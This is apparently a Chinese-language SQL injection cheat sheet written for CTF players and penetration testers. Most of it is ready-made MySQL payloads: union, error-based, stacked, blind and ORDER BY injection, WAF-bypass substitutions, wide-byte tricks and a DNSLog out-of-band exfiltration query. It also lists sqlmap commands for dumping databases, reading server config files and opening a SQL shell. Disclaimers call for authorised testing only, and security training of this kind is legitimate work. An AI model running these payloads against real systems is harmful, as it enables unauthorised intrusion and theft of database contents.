本文仅用于技术研究,禁止用于非法用途。
Author:枷锁
声明:本手册仅供 CTF 比赛、安全研究及合法渗透测试参考,严禁用于非法用途。
一、 快速探测与分类
1. 注入类型判断
首先通过输入特征字符判断闭合方式和数据类型。此步骤决定了后续 Payload 的构造基础。
(1) 基本探测表
| 测试输入 | 预期现象 | 结论 |
|---|---|---|
1 |
正常回显 | 可能是数字型或字符型 |
1' |
报错/无回显 | 可能是单引号字符型 |
1" |
报错/无回显 | 可能是双引号字符型 |
1-1 |
若回显为 id=0 的内容 |
数字型 (进行了算术运算) |
1+1 |
若回显为 id=2 的内容 |
数字型 |
1' and '1'='1 |
正常回显 | 单引号字符型 |
1' and '1'='2 |
报错/无回显 | 单引号字符型 |
(2) 常见闭合组合 (Closures)
在 CTF 中,开发者常使用括号增加复杂度,需尝试以下闭合:
'(单引号)"(双引号)')(单引号+括号)")(双引号+括号)'))(双引号+双括号)")(同理)- ```(反引号,常用于处理表名/字段名注入)
(3) 常用注释符
#(URL 编码为%23,最常用)--(杠杠空格,注意后面必须有一个空格)/* ... */(多行注释,常用于绕过空格过滤);%00(空字节截断)
2. 交互方式与注入位置
SQL 注入不仅发生在 URL 参数中,还可能隐藏在请求的各个角落:
- GET 型:参数位于 URL 查询字符串中。直接在浏览器地址栏修改。
- POST 型 :参数位于 HTTP 请求体中。需使用 Burp Suite 抓包或浏览器开发者工具修改。常出现在:
- 登录表单、搜索框、留言板。
- JSON 格式提交数据:
{"id": "1'"}。
- HTTP Header 型 :
- User-Agent:常用于记录访问日志的系统。
- Referer:记录来源页面。
- X-Forwarded-For:记录客户端 IP,常用于绕过 IP 限制时的注入。
- Cookie:存储在本地的会话信息。
- 宽字节注入 :当后端使用
addslashes等函数时,尝试%df',利用编码差绕过转义。
二、 核心攻击路径
1. 联合查询注入 (Union Based)
前提条件 :页面有直接回显位置,且后端未对 UNION 关键字做严格过滤。
- 确定列数 (Order By) :
1' order by 3 --(若页面正常且order by 4报错,则有 3 列)
- 确认回显位 :
-1' union select 1,2,3 --(通常让第一个参数为不存在的值如-1,使结果显示在页面)
- 查基本信息 :
-1' union select 1,database(),user() --
- 查表名 :
-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --
- 查列名 :
-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --
- 提取数据 :
-1' union select 1,group_concat(username,0x3a,password),3 from users --
CTF 技巧 :若
group_concat结果太长被截断,可使用substr(group_concat(column_name), 100, 100)分段读取。
2. 报错注入 (Error Based)
前提条件:页面不回显数据,但会输出数据库报错信息。
- UpdateXML (首选) :
' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --
- ExtractValue :
' and extractvalue(1,concat(0x7e,(select user()),0x7e)) --
- Floor (经典分组报错) :
' and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a) --
注意 :报错信息长度限制为 32 个字符 。 分段读取 Payload :
' and updatexml(1,concat(0x7e,substr((select flag from flag),1,30),0x7e),1) --
3. 堆叠注入 (Stacked Injection)
前提条件 :数据库驱动支持多语句执行(如 mysqli_multi_query)。
- 基础探测 :
1'; show databases; # - 查表名 :
1'; show tables; # - 查列名 :
1'; show columns fromtable_name; # - HANDLER 读取 (绕过 Select 过滤) :
1'; HANDLERflagOPEN; HANDLERflagREAD FIRST; HANDLERflagCLOSE; #
- 重命名绕过 (Rename Trick) :
- 场景:后端查询
words表,Flag 在flag表。 1'; alter table words rename to words1; alter table flag rename to words; alter table words change flag id varchar(100); #
- 场景:后端查询
- 预处理语句 (Prepare) :
1'; set @sql=concat('sel','ect * from flag'); prepare s from @sql; execute s; #
4. 盲注 (Blind Injection)
前提条件:页面无回显,无报错,仅有布尔状态变化或响应延迟。
(1) 布尔盲注 (Boolean-Based)
- 原理:通过构造逻辑判断,利用页面"正常"与"异常/空"来猜解。
- Payload 示例 :
- 猜库名长度:
' or length(database())>5 # - 逐字符猜解:
' or ascii(substr((select database()),1,1))>100 #
- 猜库名长度:
- CTF 进阶 (不使用 substr/mid) :
- 使用
left(database(),1)='s' - 使用
regexp '^f'(正则匹配)
- 使用
(2) 时间盲注 (Time-Based)
- 原理 :利用
sleep()或响应时间差异判断逻辑是否成立。 - Payload 示例 :
' and if(ascii(substr(database(),1,1))>100,sleep(3),0) #
- 高负载绕过 (若 sleep 被禁) :
- 使用
benchmark(5000000, md5(1))或笛卡尔积大查询。
- 使用
三、 绕过过滤与高阶技巧 (WAF Bypass)
1. 常见字符与符号替换方案
| 过滤项 | 绕过方式 | 示例 |
|---|---|---|
| 空格 | %0a, %0b, %0c, %0d, %a0, /**/, (), ``` |
select(password)from(users) |
| 引号 | 十六进制转换, CHAR()函数, 二进制编码 |
where name = 0x61646d696e |
| 等号 (=) | like, regexp, rlike, in, between, <> |
where id like 1 或 where id in (1) |
| 逗号 (,) | from...for, offset, join, union select * from |
substr(name from 1 for 1) 或 limit 1 offset 0 |
| 比较符 | greatest(), least(), between n and n |
greatest(ascii(substr(..)),1)=100 |
| 关键词 | 双写, 大小写, 内联注释, 十六进制预处理 | ununionion, /*!50000select*/ |
| OR / AND | ` |
2. 特殊 Payload 与高阶技巧
(1) MySQL 8.0 新特性 (绕过 Select 过滤)
在 MySQL 8.0+ 中,可以使用新语法直接读取表内容,无需 SELECT 关键字:
- TABLE 语法 :
TABLE flag;(等同于SELECT * FROM flag;) - VALUES 语法 :
VALUES ROW(1,2,3), ROW(4,5,6);
(2) 无列名注入 (No Column Name Injection)
场景:information_schema 被过滤,或无法获取列名。
-
利用别名构造虚表:
-1' union select 1,(select `2` from (select 1,2,3 union select * from users)a limit 1 offset 1),3 #原理:将目标表与一个已知列名的虚表合并,通过引用虚表的列名(1, 2, 3...)带出目标表数据。
(3) 绕过 Information_schema 的替代库
如果 information_schema 被禁,尝试:
mysql.innodb_table_stats(查表名)sys.schema_auto_increment_columns(查表名及自增列名)sys.schema_table_statistics_with_buffer- Payload示例 :
select group_concat(table_name) from mysql.innodb_table_stats where database_name=database()
(4) Order By 后的盲注
当注入点在 ORDER BY 之后:
- 布尔盲注 :
order by if(ascii(substr(database(),1,1))>100, id, price)(通过结果排序差异判断) - 报错注入 :
order by updatexml(1,concat(0x7e,database()),1)
(5) DNSLog 注入 (外带 OOB)
前提:具有文件读写权限 (secure_file_priv 为空) 且为 Windows 环境。
-
Payload:
select load_file(concat('\\\\',(select database()),'.your-dnslog-domain.com\\abc'))原理:将查询结果作为子域名,触发 DNS 解析请求,在 DNSLog 平台上查看到回显。
(6) 宽字节注入
后端使用 addslashes 处理单引号时,若数据库编码为 GBK:
- Payload :
?id=-1%df' union select 1,2,3%23 - 原理:
%df与转义符\(%5c) 组合成%df%5c(繁体字"運"),从而吃掉转义符。
四、 sqlmap 竞赛实战技巧
在 CTF 允许使用工具的情况下,sqlmap 是提速的关键。
1. 基础启动命令
- GET 注入 :
sqlmap -u "http://target.com/index.php?id=1" --batch - POST 注入 (常用) :
- 抓包保存为
r.txt:sqlmap -r r.txt --batch - 指定参数:
sqlmap -u "url" --data="id=1&user=admin" -p "id"
- 抓包保存为
- 从 Cookie 注入 :
sqlmap -u "url" --cookie="id=1" --level 2
2. 提权与探测深度
- 探测强度 :
--level 3 --risk 2(level 3 会探测 HTTP Header,level 5 探测最全) - 多线程加速 :
--threads 10 - 指定数据库类型 :
--dbms=mysql(减少探测负担)
3. 数据提取命令
- 爆库名 :
--dbs - 爆表名 :
-D db_name --tables - 爆列名 :
-D db_name -T table_name --columns - 爆数据 :
-D db_name -T table_name -C "col1,col2" --dump - 爆所有数据 :
--dump-all
4. 深度绕过策略 (Tamper)
遇到 WAF 时,核心在于组合 Tamper:
- 组合示例 :
--tamper="space2comment,randomcase,charencode" - 常用脚本说明 :
space2comment.py:空格替换为/**/。space2plus.py:空格替换为+。nonrecursivereplacement.py:双写绕过(如selselectect)。base64encode.py:Payload 全 base64 编码。equaltolike.py:=替换为LIKE。charunicodeencode.py:Unicode 编码绕过。versionedkeywords.py:利用 MySQL 内联注释绕过。
5. 高级调试与后渗透
- 二阶注入 :
--second-order="URL":在 A 页面注入,从 B 页面观察回显结果。
- 代理与延迟 :
--proxy="http://127.0.0.1:8080":挂载 Burp 观察 sqlmap 的具体 Payload。--delay 0.5:每次请求间隔 0.5 秒,防止封 IP。
- 获取 Shell/文件操作 :
--file-read="/var/www/html/config.php":直接读取配置文件。--sql-shell:开启一个交互式的 SQL 终端。
五、 实战 Checklist (比赛流程)
- 探测阶段 :使用
',",\,123-1判断注入点。 - 信息收集:判断是 MySQL, SQLite, PostgreSQL 还是 MSSQL。
- 回显测试 :
- 有回显 ->
Union Select - 有报错 ->
UpdateXML - 无回显 ->
Stacked Injection(堆叠) ->HANDLER或Rename - 啥都没有 ->
Boolean/Time Blind(脚本盲注)
- 有回显 ->
- 过滤分析:手工输入关键字看被拦截还是被替换(空字符串/空格)。
- Payload 优化 :使用
hex,base64,concat等绕过特定字符。 - 获取 Flag :从
flag表或GZCTF_FLAG等常见表中读取。
宇宙级免责声明
🚨 重要声明:本文仅供合法授权下的安全研究与教育目的!🚨
1.合法授权:本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法,可能导致法律后果(包括但不限于刑事指控、民事诉讼及巨额赔偿)。
2.道德约束:黑客精神的核心是建设而非破坏。请确保你的行为符合道德规范,仅用于提升系统安全性,而非恶意入侵、数据窃取或服务干扰。
3.风险自担:使用本文所述工具和技术时,你需自行承担所有风险。作者及发布平台不对任何滥用、误用或由此引发的法律问题负责。
4.合规性:确保你的测试符合当地及国际法律法规(如《计算机欺诈与滥用法案》(CFAA)、《通用数据保护条例》(GDPR)等)。必要时,咨询法律顾问。
5.最小影响原则:测试过程中应避免对目标系统造成破坏或服务中断。建议在非生产环境或沙箱环境中进行演练。
6.数据保护:不得访问、存储或泄露任何未授权的用户数据。如意外获取敏感信息,应立即报告相关方并删除。
7.免责范围:作者、平台及关联方明确拒绝承担因读者行为导致的任何直接、间接、附带或惩罚性损害责任。
🔐 安全研究的正确姿势:✅ 先授权,再测试
✅ 只针对自己拥有或有权测试的系统
✅ 发现漏洞后,及时报告并协助修复
✅ 尊重隐私,不越界
⚠️ 警告:技术无善恶,人心有黑白。请明智选择你的道路。
希望这个教程对你有所帮助!记得负责任地进行安全测试。